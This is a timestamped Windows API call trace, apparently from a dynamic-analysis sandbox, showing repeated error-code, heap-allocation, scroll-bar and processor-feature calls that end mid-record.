[0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.512] SetLastError (dwErrCode=0x0) [0098.512] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.513] SetLastError (dwErrCode=0x0) [0098.513] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.514] SetLastError (dwErrCode=0x0) [0098.514] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] GetLastError () returned 0x0 [0098.515] SetLastError (dwErrCode=0x0) [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x9c) returned 0x571a30 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1f) returned 0x571ad8 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x571b00 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x37) returned 0x571b40 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x571b80 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x31) returned 0x571bc8 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x571c08 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x571c28 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x14) returned 0x571c58 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd) returned 0x571c78 [0098.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x25) returned 0x571c90 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x39) returned 0x571cc0 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x571d08 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x571d28 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe) returned 0x571d48 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x69) returned 0x571d60 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x571dd8 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1b) returned 0x571e20 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1d) returned 0x571e48 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x571e70 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x12) returned 0x571ec0 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x571ee0 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1b) returned 0x571f00 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x571f28 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x29) returned 0x571f58 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x571f90 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x41) returned 0x571fb8 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x17) returned 0x572008 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x14) returned 0x572028 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xf) returned 0x572048 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x16) returned 0x572060 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x572080 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x29) returned 0x5720b8 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x15) returned 0x5720f0 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x572110 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x572138 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x12) returned 0x572170 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x572190 [0098.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x46) returned 0x5721b0 [0098.516] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5711f8 | out: hHeap=0x570000) returned 1 [0098.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x80) returned 0x5711f8 [0098.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x572200 [0098.517] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0098.517] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x451aa9) returned 0x0 [0098.517] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5711f8) returned 0x80 [0098.517] GetLastError () returned 0x0 [0098.517] SetLastError (dwErrCode=0x0) [0098.517] GetLastError () returned 0x0 [0098.517] SetLastError (dwErrCode=0x0) [0098.517] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.518] SetLastError (dwErrCode=0x0) [0098.518] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.519] SetLastError (dwErrCode=0x0) [0098.519] GetLastError () returned 0x0 [0098.520] SetLastError (dwErrCode=0x0) [0098.520] GetLastError () returned 0x0 [0098.520] SetLastError (dwErrCode=0x0) [0098.524] GetLastError () returned 0x0 [0098.524] SetLastError (dwErrCode=0x0) [0098.524] GetLastError () returned 0x0 [0098.524] SetLastError (dwErrCode=0x0) [0098.524] GetLastError () returned 0x0 [0098.524] SetLastError (dwErrCode=0x0) [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x0 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x578 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x578 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x578 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x578 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.525] GetMessageExtraInfo () returned 0x0 [0098.525] GetLastError () returned 0x578 [0098.525] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.525] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.526] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.526] GetMessageExtraInfo () returned 0x0 [0098.526] GetLastError () returned 0x578 [0098.526] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.527] GetLastError () returned 0x578 [0098.527] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.527] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.527] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.528] GetMessageExtraInfo () returned 0x0 [0098.528] GetLastError () returned 0x578 [0098.528] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.528] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.529] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.529] GetMessageExtraInfo () returned 0x0 [0098.529] GetLastError () returned 0x578 [0098.529] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.530] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.530] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.530] GetMessageExtraInfo () returned 0x0 [0098.530] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.531] GetMessageExtraInfo () returned 0x0 [0098.531] GetLastError () returned 0x578 [0098.531] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.531] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0098.532] GetMessageExtraInfo () returned 0x0 [0098.532] GetLastError () returned 0x578 [0098.532] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0098.532] IsProcessorFeaturePresent (ProcessorFeature=0x0) 